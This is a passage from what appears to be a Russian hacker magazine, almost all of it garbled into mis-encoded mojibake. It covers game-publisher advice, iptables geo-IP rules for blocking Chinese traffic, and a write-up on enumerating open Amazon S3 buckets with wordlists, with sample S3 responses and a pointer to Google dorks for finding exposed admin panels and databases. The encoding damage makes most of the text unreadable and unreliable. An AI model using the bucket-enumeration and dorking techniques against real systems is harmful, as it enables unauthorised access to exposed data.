ÏÐÜÓ Ô ÍÆÎà ÃÆÒÝÍÁ ÎÆÂÏÌÝÙÏÊ: ÎÆÍÎÏÄÏ Java É ActionScript 3. ¡ 
ÐÑÏÓÏÓÉÐ ÐÏàÃÉÌÒà ÐÏÒÌÆ ÉÈÔØÆÎÉà ÐÑÉÍÆÑÏÃ ÅÃÉÇËÁ cocos2d. 
°ÏÒÌÆÅÎÉÊ ÏÂÌÁÅÁÆÓ ÖÏÑÏÙÉÍ ËÏÍÝßÎÉÓÉ É ÂÏÌÝÙÉÍ ËÏÌÉØÆÒÓÃÏÍ 
ÈÁÄÏÓÏÃÏË. ¢ÆÑÉ ÐÑÉÍÆÑ — É ÅÁÃÁÊ ÆÄÏ ÌÏÍÁÓÝ, ÉÈÍÆÎàÓÝ! ¡ ÓÁÍ É 

ÅÏ ÐÑÏÓÏÓÉÐÁ ÎÆÅÁÌÆËÏ. °ÏÅÖÏÅ, ÃÆÑÏàÓÎÏ, ÎÆ ÒÁÍÜÊ ÔÅÁØÎÜÊ, ÎÏ Ã 
ÍÏÆÍ ÒÌÔØÁÆ ÒÑÁÂÏÓÁÌ.

Про работу с издателем
«ÁË ÓÏÌÝËÏ ÒÍÁÒÓÆÑÉÙÝ ÐÑÏÓÏÓÉÐ ÉÄÑÜ, ÄÅÆ ÔÇÆ ÂÔÅÆÓ ÎÆÒËÏÌÝËÏ 
ÉÄÑÁßÚÉÖ ÔÑÏÃÎÆÊ, ÍÏÇÎÏ ÉÒËÁÓÝ ÉÈÅÁÓÆÌà. ¨ÁÖÏÅÉ Ã AppStore, 
ÁÎÁÌÉÈÉÑÔÊ ÔÒÐÆÙÎÜÆ ÉÄÑÜ, ÄÔÄÌÉ ÎÁÈÃÁÎÉÆ ÉÈÅÁÓÆÌà É ÐÉÙÉ ÆÍÔ 
ÐÉÒÝÍÏ. ¥Ìà ØÆÄÏ ÞÓÏ ÎÔÇÎÏ? ©ÈÅÁÓÆÌÝ ÏØÆÎÝ ÐÏÌÆÈÆÎ Ã ÐÌÁÎÆ 
ÒÏÃÆÓÏÃ ÐÏ ÉÄÑÆ, ÅÏÑÁÂÏÓËÆ ÆÆ ÅÏ ÄÏÓÏÃÏÄÏ Ë ÐÑÏÅÁÇÆ ÐÑÏÅÔËÓÁ. ¯Î 
ÇÆ ÍÏÇÆÓ ÐÑÆÅÏÒÓÁÃÉÓÝ ØÌÆÎÒÓÃÏ Ã ÓÏÊ ÒÁÍÏÊ ÅÆÃÆÌÏÐÆÑÒËÏÊ ÐÑÏ-
ÄÑÁÍÍÆ, ÐÏÅÒËÁÈÁÓÝ, ËÁË ÃÜÅÆÑÇÁÓÝ ÃÒÆ ÒÏÏÓÃÆÓÒÓÃÉà ÉÄÑÜ ÐÆÑÆÅ 
ÓÑÆÂÏÃÁÎÉàÍÉ ÐÑÏÃÆÑàßÚÆÊ ËÏÍÁÎÅÜ Apple, ÐÏÅÆÌÉÓÝÒà ÖÏÑÏÙÆÊ 
ÒÉÒÓÆÍÏÊ ÒÓÁÓÉÒÓÉËÉ, ØÆÑÆÈ ËÏÓÏÑÔß ÏØÆÎÝ ÎÁÄÌàÅÎÏ ÏÓÒÌÆÇÉ-
ÃÁßÓÒà ÑÆÊÓÉÎÄÉ (ØÁÚÆ ÃÒÆÄÏ — appfigures.com), ËÏÍÍÆÎÓÁÑÉÉ 
ÐÏÌÝÈÏÃÁÓÆÌÆÊ É ÅÁÇÆ ÈÁÑÁÂÏÓÁÎÎÜÆ ÅÆÎÝÄÉ. ³Ü ÍÏÇÆÙÝ ÒÐÑÏ-
ÒÉÓÝ: «¨ÁØÆÍ, ÒÏÂÒÓÃÆÎÎÏ, ÉÈÅÁÓÆÌÝ?» ¦ÒÓÝ ÇÆ ÐÑÉÍÆÑÜ, ËÏÄÅÁ 
ÎÆËÉÊ ÍÁÌÏÌÆÓÎÉÊ ÍÁÌÝØÉË ÍÁÒÓÆÑÉÓ ÉÄÑÔ É ÏÎÁ ÒÑÜÃÁÆÓ ÂÁÙÎß 
ËÁË Apple, ÓÁË É ÃÒÆÍ ÒÑÆÅÒÓÃÁÍ ÍÁÒÒÏÃÏÊ ÉÎÕÏÑÍÁ×ÉÉ. ¨ÁÐÏÍÎÉ 
ÑÁÈ É ÎÁÃÒÆÄÅÁ — ÞÓÏ ÎÆ ÐÑÏ ÓÆÂà. ®Æ ÐÑÏ ÍÆÎà, ÎÉ ÐÑÏ ËÏÄÏ. 
¦ÅÉÎÉØÎÜÆ ÒÌÔØÁÉ ÔÒÐÆÖÁ — ÞÓÏ ÆÅÉÎÉØÎÜÆ ÒÌÔØÁÉ ÔÒÐÆÖÁ, 99% 
ÏÅÉÎÏØÆË ÔÍÉÑÁßÓ Ã ¡ÐÐ²ÓÏÑÆ. °ÏÓÏÍÔ ØÓÏ ÐÑÏÒÓÏ ÎÆ ÈÎÁßÓ, ËÁË 
ÉÈÅÁÃÁÓÝÒà, ÄÅÆ ÑÆËÌÁÍÉÑÏÃÁÓÝÒà, ËÁË ÐÑÏÅÃÉÄÁÓÝ ÐÑÉÌÏÇÆÎÉà. 
©ÈÅÁÓÆÌÝ ÈÎÁÆÓ, É ÈÁ ÞÓÏ ÏÎ ÂÆÑÆÓ ÅÆÎÝÄÉ. ¦ÄÏ ÃÏÈÎÁÄÑÁÇÅÆÎÉÆ 
— ÞÓÏ ÃÒÆÄÅÁ ÅÏÌà ÃÜÑÔØËÉ. £ ÈÁÃÉÒÉÍÏÒÓÉ ÏÓ ÉÈÅÁÓÆÌà ÏÎÁ ËÏÌÆ-
ÂÌÆÓÒà ÏÓ 30 ÅÏ 50 ÐÑÏ×ÆÎÓÏÃ ÐÏÒÌÆ ÃÜØÆÓÁ ÓÑÉÅ×ÁÓÉÐÑÏ×ÆÎÓÎÏÊ 
ÅÏÌÉ Apple. ©ÈÅÁÓÆÌÝ ÈÎÁÆÓ, ÄÅÆ ÎÁÐÉÒÁÓÝ ÐÑÏ ÉÄÑÔ, ÎÁ ËÁËÉÆ ÒÁÊÓÜ 
ÆÆ ÈÁÂÑÏÒÉÓÝ Ã ÏÇÉÅÁÎÉÉ ÑÆ×ÆÎÈÉÉ, ËÁËÏÊ ÕÏÑÔÍ ÐÏÅËÌßØÉÓÝ 
ÅÌà ÐÏÅÐÉÓËÉ ÉÎÓÆÑÆÒÁ. ¯Î ÈÎÁÆÓ, ËÁËÉÆ ÁË×ÉÉ ÈÁÐÔÒËÁÓÝ, ËÁËÉÆ 
ÉÎÒÓÑÔÍÆÎÓÜ ÉÒÐÏÌÝÈÏÃÁÓÝ, É ËÁËÉÖ ÐÁÑÓÎÆÑÏÃ ÍÏÂÉÌÉÈÏÃÜÃÁÓÝ 
ÅÌà ÅÏÐÏÌÎÉÓÆÌÝÎÜÖ ÐÑÏÍÏ-ÁË×ÉÊ. ¯Î ÇÆ É ÈÁÎÉÍÁÆÓÒà ÒÎÏÙÆ-
ÎÉàÍÉ Ò Apple, ÃÜËÌÁÅÜÃÁà Ã ¡ÐÐ²ÓÏÑ ÉÄÑÔ É ÏÂÎÏÃÌÆÎÉà, ÏÓÒÌÆ-
ÇÉÃÁÆÓ ÐÉÒÝÍÁ Ã ÓÆÖÐÏÅÅÆÑÇËÔ. ®Æ ÍÆÎÆÆ ÃÁÇÎÁ ÌÆÄÁÌÝÎÏÒÓÝ 
ÃÒÆÄÏ ÐÑÏÉÒÖÏÅàÚÆÄÏ. ² ÉÈÅÁÓÆÌÆÍ ÈÁËÌßØÁÆÓÒà ÅÏÄÏÃÏÑ, ÐÏ ÞÓÏÍÔ 
ÅÏÄÏÃÏÑÔ ÏÎ ÐÆÑÆÃÏÅÉÓ ÓÆÂÆ ÅÆÎÝÄÉ, ËÏÓÏÑÜÆ ÏØÆÎÝ ÌÆÄËÏ ÏÂÏ-
ÒÎÏÃÜÃÁßÓÒà ÐÆÑÆÅ ÄÏÒÔÅÁÑÒÓÃÏÍ (ØÓÏÂÜ ÈÁÐÌÁÓÉÓÝ Ò ÎÉÖ ÎÁÌÏÄÉ). 
¢ÔÅÝ ÓÜ ©°, ¯¯¯ ÉÌÉ ÅÁÇÆ ÐÑÏÒÓÜÍ ÕÉÈÉØÆÒËÉÍ ÌÉ×ÏÍ — ÎÆÃÁÇ-
ÎÏ. ®Ï ÆÒÌÉ ÓÜ ÏËÁÇÆÙÝÒà ÒÍÆÌÝØÁËÏÍ, ÐÏÒàÄÎÔÃÙÉÍ ÎÁ ¡ÐÐ²ÓÏÑ 
Ã ÏÅÉÎÏØËÔ, ÂßÑÏËÑÁÓÉà ÒÛÆÒÓ ÓÆÂà ÆÚÆ ÎÁ ÒÓÁÅÉÉ ÈÁÐÏÌÎÆÎÉà 
ÅÏËÔÍÆÎÓÏÃ. «ÁÇÅÜÊ ÅÏÌÇÆÎ ÈÁÎÉÍÁÓÝÒà ÒÃÏÉÍ ÅÆÌÏÍ. ³Ü ÅÆÌÁ-
ÆÙÝ ÐÑÏÅÔËÓ, Á ÐÑÏÅÁÃÆ× Ã ÌÉ×Æ ÉÈÅÁÓÆÌà ÆÄÏ ÐÑÏÅÁÆÓ.

Инструкция к применению
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PC_ZONE
 ²ÓÆÐÁÎ «Step» ©ÌÝÉÎ ( twitter.com/stepah)

°ÆÑÆÐÌÁØÉÃÁÓÝ ÆÒÓÆÒÓÃÆÎÎÏ ÎÆ ÖÏÓÆÌÏÒÝ, 
ÐÏÞÓÏÍÔ à ÂÜÒÓÑÏ ÃÜÑÏÃÎàÌ ÒÏÏÓÎÏÙÆÎÉÆ 
É ÎÁØÁÌ ÅÔÍÁÓÝ, ËÁË ÉÒÐÑÁÃÉÓÝ ÒÉÓÔÁ×Éß. 
²ÏÂÒÓÃÆÎÎÏ, ÃÜÖÏÅ Ã ÒÃÏÆÊ ÒÉÓÔÁ×ÉÉ à 
ÃÉÅÆÌ ÏÅÉÎ — ÂÌÏËÉÑÏÃÁÓÝ ÓÑÁÕÉË Ò ËÉÓÁÊ-
ÒËÉÖ IP-ÁÅÑÆÒÏÃ. °Ï ËÑÁÊÎÆÊ ÍÆÑÆ, Ã ÒÌÔØÁÆ 
ÃÏÈÎÉËÎÏÃÆÎÉà ÐÏÅÏÂÎÏÊ ÒÉÓÔÁ×ÉÉ. ¥Ìà 
ÞÓÏÄÏ ÎÔÇÎÏ ÂÜÌÏ ÏÂÈÁÃÆÒÓÉÒÝ ÁËÓÔÁÌÝÎÏÊ 
ÄÆÏÌÏËÁ×ÉÏÎÎÏÊ ÂÁÈÏÊ ÅÁÎÎÜÖ IP-ÁÅÑÆÒÏÃ 
ÅÌà ÏÐÑÆÅÆÌÆÎÉà ËÉÓÁÊÒËÏÄÏ ÓÑÁÕÉËÁ É 
ÃÜÂÑÁÓÝ ÑÆÙÆÎÉÆ, ØÓÏÂÜ ÂÌÏËÉÑÏÃÁÓÝ ÐÏÅ-
ËÌßØÆÎÉà ÐÏ ÄÆÏÄÑÁÕÉØÆÒËÏÍÔ ÐÑÉÈÎÁËÔ.
¤ÆÏÌÏËÁ×ÉÏÎÎÜÖ ÂÁÈ ÅÁÎÎÜÖ IP-ÁÅÑÆÒÏÃ (Ã 
ÕÏÑÍÁÓÆ «¤ÏÑÏÅ/²ÓÑÁÎÁ — IP») ÏËÁÈÁÌÏÒÝ 
ÅÏÒÓÁÓÏØÎÏ ÍÎÏÄÏ, ËÁË ÒÏÂÑÁÎÎÜÖ ÞÎÓÔÈÉÁ-
ÒÓÁÍÉ, ÓÁË É ÐÑÏÕÆÒÒÉÏÎÁÌÝÎÜÍÉ ËÏÍÐÁ-
ÎÉàÍÉ, ËÏÓÏÑÜÆ ÐÑÏÅÁßÓ ÉÖ ÈÁ ÅÆÎÝÄÉ. ÎÆ 
ÂÏÌÝÙÆ ÃÒÆÄÏ ÐÑÉÄÌàÎÔÌÁÒÝ ÂÆÒÐÌÁÓÎÁà 
WIP-Base ÏÓ ÒÆÑÃÉÒÁ WIPmania.com.
±ÆÙÆÎÉÆ ÈÁÅÁØÉ ÑÁÈÅÆÌÉÍ ÎÁ ÅÃÁ ÐÔÎ-
ËÓÁ: ÃÜÂÏÑ ÄÆÏÌÏËÁ×ÉÏÎÎÏÊ ÂÁÈÜ ÅÁÎÎÜÖ 
IP-ÁÅÑÆÒÏÃ ÅÌà ÏÐÑÆÅÆÌÆÎÉà ËÉÓÁÊÒËÏÄÏ 
ÓÑÁÕÉËÁ É ÎÁÒÓÑÏÊËÔ ÑÆÙÆÎÉà ÅÌà ÂÌÏ-
ËÉÑÏÃËÉ ÐÏÅËÌßØÆÎÉÊ Ò ÎÆÇÆÌÁÓÆÌÝÎÜÖ 
IP-ÁÅÑÆÒÏÃ.
1. ±ÁÈÌÉØÎÜÍÉ ÞÎÓÔÈÉÁÒÓÁÍÉ É ÐÑÏ-
ÕÆÒÒÉÏÎÁÌÁÍÉ ÒÏÈÅÁÎÜ ÑÁÈÌÉØÎÜÆ ÄÆÏ-
ÌÏËÁ×ÉÏÎÎÜÆ ÂÁÈÜ ÅÁÎÎÜÖ IP-ÁÅÑÆÒÏÃ (Ã 
ÕÏÑÍÁÓÆ «¤ÏÑÏÅ/²ÓÑÁÎÁ — IP»). ©È ÃÒÆÖ 
ÐÑÆÅÌÏÇÆÎÉÊ, ÐÑÉÒÔÓÒÓÃÔßÚÉÖ Ã ÉÎÓÆÑÎÆÓÆ, 
ÍÎÆ ÂÏÌÝÙÆ ÃÒÆÄÏ ÎÑÁÃÉÓÒà ÂÆÒÐÌÁÓÎÁà 
WIP-Base ÏÓ WIPmania.com. ¯ÎÁ ÐÏÈÃÏÌà-
ÆÓ ÎÆÏÄÑÁÎÉØÆÎÎÏ ÏÐÑÆÅÆÌàÓÝ ÑÆÁÌÝÎÜÆ 
ÕÉÈÉØÆÒËÉÆ ÑÁÒÐÏÌÏÇÆÎÉà IP-ÁÅÑÆÒÏÃ. ¯ÎÁ 
ÁÂÒÏÌßÓÎÏ ÂÆÒÐÌÁÓÎÁ ÅÌà ÐÆÑÒÏÎÁÌÝÎÏÄÏ É 
ÂÉÈÎÆÒ-ÉÒÐÏÌÝÈÏÃÁÎÉà, ÐÏÒÓÏàÎÎÏ ÏÂÎÏÃÌà-
ÆÓÒà, ÅÏÒÓÔÐÎÁ Ã SQL, CIDR, ÓÆËÒÓÏÃÏÍ ÕÏÑ-
ÍÁÓÆ É ÐÑÆÅÏÒÓÁÃÌàÆÓ ÑàÅ ÕÉÙÆË:
• WIP-API (ÔÅÏÂÎÜÊ API ÅÌà ÑÁÈÑÁÂÏÓØÉËÏÃ);

• WIP-Plugin (WorldIP-ÐÌÁÄÉÎ ÅÌà Mozilla 
Firefox);
• WIP-Map (ÐÏËÁÈÜÃÁÆÓ IP-ÁÅÑÆÒÁ ÐÑàÍÏ ÎÁ 
ËÁÑÓÆ).
²ÐÆËÓÑ ÐÑÉÍÆÎÆÎÉà ÅÏÃÏÌÝÎÏ ÙÉÑÏË: ÄÆÏ-
ÓÁÑÄÆÓÉÎÄ Ã ÞÌÆËÓÑÏÎÎÏÊ ËÏÍÍÆÑ×ÉÉ, ÂÏÑÝ-
ÂÁ Ò ÕÑÏÅÏÍ, ÕÉÙÉÎÄÏÍ, ÒÐÁÍÏÍ É ÍÏÙÆÎ-
ÎÉØÆÒÓÃÏÍ, ÈÁÚÉÓÁ ÒÆÑÃÆÑÏÃ ÏÓ ÑÁÈÌÉØÎÜÖ 
ÃÉÅÏÃ ÁÓÁË ÐÏ ÄÆÏÐÑÉÈÎÁËÔ. ²ÏÂÒÓÃÆÎÎÏ, 
ÐÏÒÌÆÅÎÆÆ É ÆÒÓÝ ÎÁÙÁ ÈÁÅÁØÁ.
2. ¥Ìà ÓÏÄÏ ØÓÏÂÜ ÏÄÑÁÎÉØÉÓÝ ÓÑÁÕÉË 
ÉÈ ËÁËÏÊ-ÓÏ ÏÐÑÆÅÆÌÆÎÎÏÊ ÒÓÑÁÎÜ, ÆÒÓÝ 
ÑÁÈÎÜÆ ÑÆÙÆÎÉà. Ü ÇÆ ÃÏÒÐÏÌÝÈÔÆÍÒà 
ÒÓÁÎÅÁÑÓÎÏÊ ÃÏÈÍÏÇÎÏÒÓÝß iptables, ÐÏÈÃÏ-
ÌàßÚÆÊ ÐÑÏÃÏÅÉÓÝ ÕÉÌÝÓÑÁ×Éß ÐÏ ÄÆÏ-
ÐÑÉÈÎÁËÔ. «ÒÓÁÓÉ, ÞÓÏ ÍÏÇÆÓ ÐÑÉÍÆÎàÓÝÒà 
ÎÆ ÓÏÌÝËÏ ÅÌà ÂÌÏËÉÑÏÃËÉ ÎÆÇÆÌÁÓÆÌÝÎÜÖ 
ÐÏÅËÌßØÆÎÉÊ, ÎÏ É ÅÌà ÂÁÌÁÎÒÉÑÏÃËÉ 
ÈÁÐÑÏÒÏÃ ÎÁ ÑÁÈÎÜÆ ÂÆËÆÎÅÜ, ËÁÇÅÜÊ ÉÈ 
ËÏÓÏÑÜÖ ÏÂÑÁÂÁÓÜÃÁÆÓ ÒÃÏÊ ÑÆÄÉÏÎ. ®ÁÍ 
ÐÏÍÏÇÆÓ ÍÏÅÔÌÝ geoip ÉÈ ÐÁËÆÓÁ ÑÁÒÙÉÑÆ-
ÎÉÊ xtables-addons ÅÌà iptables, Ô ÎÆÄÏ ÒÃÏÊ 
ÕÏÑÍÁÓ ÄÆÏÌÏËÁ×ÉÏÎÎÏÊ ÂÁÈÜ, ÎÏ Ë ÒØÁÒÓÝß 
WorldIP-ÂÁÈÁ ÏÓ WIPmania ÓÆÐÆÑÝ ÆÒÓÝ É Ã 
ÞÓÏÍ ÕÏÑÍÁÓÆ. °ÏÑàÅÏË ÅÆÊÒÓÃÉÊ ÓÁËÏÊ:
1. ´ÒÓÁÎÁÃÌÉÃÁÆÍ xtables-addons (xtables-
addons.sourceforge.net).
2. °ÏÅËÌßØÁÆÍ ÂÁÈÔ ÅÌà ÍÏÅÔÌà geoip. 
¡ËÓÔÁÌÝÎÁà ÃÆÑÒÉà ÂÁÈÜ ÃÒÆÄÅÁ ÅÏÒÓÔÐÎÁ ÐÏ 
URL — static.wipmania.com/static/worldip.
iptables.tar.gz. ¸ÓÏÂÜ ÂÁÈÁ ÏÂÎÏÃÌàÌÁÒÝ, ÆÆ 
ÍÏÇÎÏ ÏÂÎÏÃÌàÓÝ ÐÏ ËÑÏÎÔ (ÒËÁÇÆÍ, ÑÁÈ Ã 
ÍÆÒà×).
3. ¥ÁÌÆÆ ÍÏÇÎÏ ÎÁÒÓÑÏÉÓÝ ÐÑÁÃÉÌÁ. 
¢ÌÏËÉÑÔÆÍ ÅÏÒÓÔÐ Ë http-ÒÆÑÃÆÑÔ ÅÌà ÃÒÆÖ 
ËÌÉÆÎÓÏÃ ÉÈ «ÉÓÁà:

iptables -A INPUT -p tcp --dport 80 
   -m  geoip --src-cc CN -j DROP

iptables -A INPUT -p tcp --dport 80
   -j  ACCEPT

ÏÇÎÏ ÐÏÒÓÔÐÉÓÝ ÂÏÌÆÆ ÑÁÅÉËÁÌÝÎÏ É ÑÁÈ-
ÑÆÙÉÓÝ ÅÏÒÓÔÐ ÅÌà ËÌÉÆÎÓÏÃ ÉÈ ËÁËÉÖ-ÓÏ 
ËÏÎËÑÆÓÎÜÖ ÒÓÑÁÎ (ÎÁÐÑÉÍÆÑ, ±ÏÒÒÉÉ, 
´ËÑÁÉÎÜ É ¢ÆÌÏÑÔÒÒÉÉ):

iptables -A INPUT -p tcp --dport 80 
   -m geoip --src-cc RU,UA,BY -j ACCEPT
iptables -A INPUT -p tcp --dport 80
   -j DROP

 
¨ÁÅÁØÔ ÍÏÇÎÏ ÂÜÌÏ ÓÁËÇÆ ÑÆÙÉÓÝ ØÆÑÆÈ 
nginx Ò ÐÏÍÏÚÝß ÍÏÅÔÌà ngx_http_geo_
module, ÎÁÒÓÑÏÉÃ ÎÆÒËÏÌÝËÏ ÐÑÏÒÓÜÖ ÐÑÁ-
ÃÉÌ (ÐÏÅÑÏÂÎÆÆ — bit.ly/jIHTaA). z

ÊÎËÎÍÊÀ 
ÐÅÄÀÊÒÎÐÀ
Ïðî òî, êàê áëîêèðîâàòü êèòàéöåâ

Справка по Китаю от WIP-Map

  Íåäàâíî ñòîëêíóëñÿ ñ ïðîáëåìîé: íà ñàéò â îãðîìíîì êîëè÷åñòâå ïîâàëèë 
êèòàéñêèé òðàôèê. Îêàçàëîñü, ÷òî îäíà èç ðàçìåùåííûõ íà ìîåì õîñòå 
êàðòèíîê ïîïàëà â êèòàéñêèå áëîãè. Ïðîâàéäåð, ó êîòîðîãî ÿ àðåíäóþ ñåðâåð, 
òóò æå çàáèë òðåâîãó î íåñîîòâåòñòâèè ñîîòíîøåíèé (òðè ê äâóì) ðîññèéñêîãî 
è çàðóáåæíîãî òðàôèêîâ. 
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¤ÌÁÃÎÏÆ, ØÓÏ Ò ÐÏÍÏÚÝß ÐÏÅÏÂÎÜÖ ÈÁÐÑÏÒÏÃ (ÒÆÊØÁÒ ÏÎÉ ÒÏÂÑÁÎÜ 
ÎÁ www.exploit-db.com/google-dorks) ÍÏÇÎÏ ÂÜÌÏ ÂÆÈ ÓÑÔÅÁ ÎÁÊÓÉ 
ÏÒÓÁÃÌÆÎÎÜÆ ÏÓËÑÜÓÜÍÉ ÁÅÍÉÎËÉ, ËÏÎÕÉÄÉ, ÂÁÈÜ ÅÁÎÎÜÖ É ÓÏÍÔ 
ÐÏÅÏÂÎÜÆ ÃËÔÒÎàÙËÉ. ³ÆÍÁ ÁËÓÔÁÌÝÎÁ É ÒÆÊØÁÒ, ÎÏ ÔÇÆ ÎÆ ÒÉÌÝÎÏ 
ÉÎÓÆÑÆÒÎÁ. ³ÆÐÆÑÝ, ËÏÄÅÁ ÃÒÆ ÉÅÆÓ Ë ÓÏÍÔ, ØÓÏ ÏÂÌÁØÎÜÆ ÖÑÁÎÉÌÉÚÁ 
ÒÓÁÎÔÓ ÏÒÎÏÃÎÜÍ ÍÆÒÓÏÍ ÅÌà ÖÏÒÓÉÎÄÁ ÕÁÊÌÏÃ, ÂÜÌÏ ÂÜ ÒÓÑÁÎÎÏ, 
ÆÒÌÉ ÎÉËÓÏ ÎÆ ÐÏÐÜÓÁÌÒà ÂÜ ÈÁÒÔÎÔÓÝ ÒÃÏÊ ÎÏÒ Ã ØÔÇÉÆ ËÏÎÓÆÊÎÆ-
ÑÜ Ò ÅÁÎÎÜÍÉ. °ÆÑÃÜÍ, ËÓÏ ÏÂ ÞÓÏÍ ÑÁÒÒËÁÈÁÌ, ÒÓÁÌ ÂÑÉÓÁÎÒËÉÊ 
ÉÒÒÌÆÅÏÃÁÓÆÌÝ DigiNinja, ËÏÓÏÑÜÊ ÐÏÚÔÐÁÌ ÒÆÑÃÉÒ Amazon S3.
S3 ÑÁÒÙÉÕÑÏÃÜÃÁÆÓÒà ËÁË Simple Storage Server, ÞÓÏ ÐÑÏÒÓÏÆ ÖÑÁ-
ÎÉÌÉÚÆ ÕÁÊÌÏÃ ÏÓ Amazon. ¦ÒÌÉ ÒÏÃÒÆÍ ËÑÁÓËÏ, ÓÏ ÞÓÏÓ ÒÆÑÃÉÒ 
ÐÏÈÃÏÌàÆÓ ÐÏÌÝÈÏÃÁÓÆÌàÍ ÖÑÁÎÉÓÝ ÒËÏÌÝËÏ ÔÄÏÅÎÏ ÕÁÊÌÏÃ É ÃÜÅÆÑ-
ÇÉÃÁÓÝ ÒËÏÌÝËÏ ÔÄÏÅÎÏ ÂÏÌÝÙÔß ÎÁÄÑÔÈËÔ. °ÑÉ ÞÓÏÍ ËÌÉÆÎÓ ÐÌÁÓÉÓ 
ÈÁ ÉÒÐÏÌÝÈÔÆÍÏÆ ÅÉÒËÏÃÏÆ ÐÑÏÒÓÑÁÎÒÓÃÏ (ÏÓ $0,055 ÈÁ ¤Â), ËÏÌÉØÆ-
ÒÓÃÏ ÈÁÐÑÏÒÏÃ Ë ÎÉÍ ($0,01 ÈÁ 10 000 ÈÁÐÑÏÒÏÃ), ÉÒÖÏÅàÚÉÊ ÓÑÁÕÉË 
(ÏÓ $0,050 ÈÁ ¤Â). °ÁÑÔ ÒÌÏÃ Ï ÓÏÍ, ËÁË ÔÒÓÑÏÆÎÏ ÖÑÁÎÆÎÉÆ ÕÁÊÌÏÃ. 
¬ßÂÏÊ ÕÁÊÌ ÎÁÖÏÅÉÓÒà ÃÎÔÓÑÉ ÓÁË ÎÁÈÜÃÁÆÍÏÄÏ bucket’Á (ËÏÎ×ÆÐ-
ÓÔÁÌÝÎÏÆ ÐÏÎàÓÉÆ ËÏÎÓÆÊÎÆÑÁ ÃÎÔÓÑÉ Amazon S3), Ã ËÏÓÏÑÏÍ ÍÏÇÆÓ 
ÎÁÖÏÅÉÓÝÒà ÎÆÏÄÑÁÎÉØÆÎÎÏÆ ËÏÌÉØÆÒÓÃÏ ÏÂÛÆËÓÏÃ. ®ÁÐÑÉÍÆÑ, 
ÆÒÌÉ ÏÂÛÆËÓ ÎÁÈÜÃÁÆÓÒà xtoolz/scanner.zip É ÎÁÖÏÅÉÓÒà Ã bucket’Æ 
xakep, ÓÏ Ë ÎÆÍÔ ÍÏÇÎÏ ÏÂÑÁÓÉÓÝÒà, ÉÒÐÏÌÝÈÔà URL http://xakep.
s3.amazonaws.com/xtoolz/scanner.zip.
¥ÏÒÓÔÐ Ë bucket’Ô ÍÏÇÆÓ ÂÜÓÝ ÏÓËÑÜÓÜÍ, Á ÍÏÇÆÓ ÂÜÓÝ ÏÄÑÁÎÉØÆÎ. 
°ÏÍÉÍÏ ÞÓÏÄÏ ÍÏÇÎÏ ÅÏÐÏÌÎÉÓÆÌÝÎÏ ÑÁÈÑÆÙÉÓÝ ÉÌÉ ÈÁÐÑÆÓÉÓÝ ÅÏÒÓÔÐ Ë 
ËÏÎËÑÆÓÎÏÍÔ ÏÂÛÆËÓÔ. ®ÁÐÑÉÍÆÑ, ÆÒÌÉ ËÁËÏÊ-ÓÏ ÕÁÊÌ ÍÏÄÌÉ ÒËÁØÁÓÝ ÃÒÆ 

ÇÆÌÁßÚÉÆ, ÓÏ Ô ÎÆÄÏ ÅÏÌÇÎÜ ÂÜÓÝ ÐÑÁÃÁ ÅÌà ØÓÆÎÉà — «All».
¸ÓÏ ÒÅÆÌÁÌ DigiNinja? ¯Î ÒÏÈÅÁÌ Ã ÒÃÏÆÍ ÁËËÁÔÎÓÆ S3 ÎÆÒËÏÌÝËÏ 
bucket’ÏÃ, ÏÓËÑÜÓÜÖ É ÈÁËÑÜÓÜÖ, Ò ÑÁÈÌÉØÎÜÍÉ ÐÑÁÃÁÍÉ ÅÏÒÓÔÐÁ Ë 
ÏÂÛÆËÓÁÍ, ÐÏÒÌÆ ØÆÄÏ ÉÈÔØÉÌ ÏÓÃÆÓÜ ÒÆÑÃÆÑÁ ÐÑÉ ÏÂÑÁÚÆÎÉÉ Ë ÎÉÍ. 
¯ÓÃÆÓ ÅÌà ÈÁËÑÜÓÏÄÏ ËÏÎÓÆÊÎÆÑÁ:

<Error>
 <Code>AccessDenied</Code>
 <Message>Access Denied</Message>
 <RequestId>7F3987394757439B</RequestId>
 <HostId>kyMIhkpoWafjruFFairkfi m383jtznAnwiyKSTxv7+/
          CIHqMBcqrXV2gr+EuALUp</HostId>
</Error>
Public bucket

¯ÓÃÆÓ ÅÌà ÏÓËÑÜÓÏÄÏ bucket’Á: 

<ListBucketResult xmlns="http://s3.amazonaws.com
/doc/2006-03-01/">
<Name>digipublic</Name>
<Prefi x></Prefi x>
<Marker></Marker>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>my_fi le</Key>
<LastModifi ed>2011-05-16T10:47:16.000Z</LastModifi ed>
<ETag>"51fff3c9087648822c0a21212907934a"</ETag>
<Size>6429</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>

¥Ìà ÈÁËÑÜÓÏÄÏ bucket’Á ÒÆÑÃÆÑ ÃÏÈÃÑÁÚÁÆÓ ÏÙÉÂËÔ (Access 
Denied), Á ÅÌà ÏÓËÑÜÓÏÄÏ — ÒÐÉÒÏË ÕÁÊÌÏÃ. ³ÆÐÆÑÝ ÐÏÒÍÏÓÑÉ ÎÁ 
URL, Ò ÐÏÍÏÚÝß ËÏÓÏÑÏÄÏ ÐÑÏÉÈÃÏÅÉÓÒà ÏÂÑÁÚÆÎÉÆ Ë bucket’Ô 
(%bucket_name%.s3.amazonaws.com) — ÉÍà ÐÏÅÒÓÁÃÌàÆÓÒà 
ÐÑàÍÏ Ã URL. °ÏÌÔØÁÆÓÒà, ÍÜ ÂÆÈ ÐÑÏÂÌÆÍ ÍÏÇÆÍ ÃÈàÓÝ wordlist 
É ÐÑÏÃÆÑÉÓÝ ÒÔÚÆÒÓÃÏÃÁÎÉÆ bucket’ÏÃ Ò ÓÁËÉÍÉ ÉÍÆÎÁÍÉ, ÈÁÏÅÎÏ 
ÔÈÎÁÃÁà ÉÖ ÒÓÁÓÔÒ. ¥Ìà ÏÓËÑÜÓÜÖ ËÏÎÓÆÊÎÆÑÏÃ ÍÏÇÎÏ ÒÑÁÈÔ 
ÐÏÌÔØÉÓÝ ÆÚÆ É ÒÐÉÒÏË ÕÁÊÌÏÃ, ÐÑÁÃÅÁ, ÞÓÏ ÎÆ ÈÎÁØÉÓ, ØÓÏ ÏÎÉ 
ÅÏÒÓÔÐÎÜ ÅÌà ÒËÁØÉÃÁÎÉà (ÞÓÏÍÔ ÍÏÄÔÓ ÐÑÆÐàÓÒÓÃÏÃÁÓÝ ÐÑÁÃÁ 
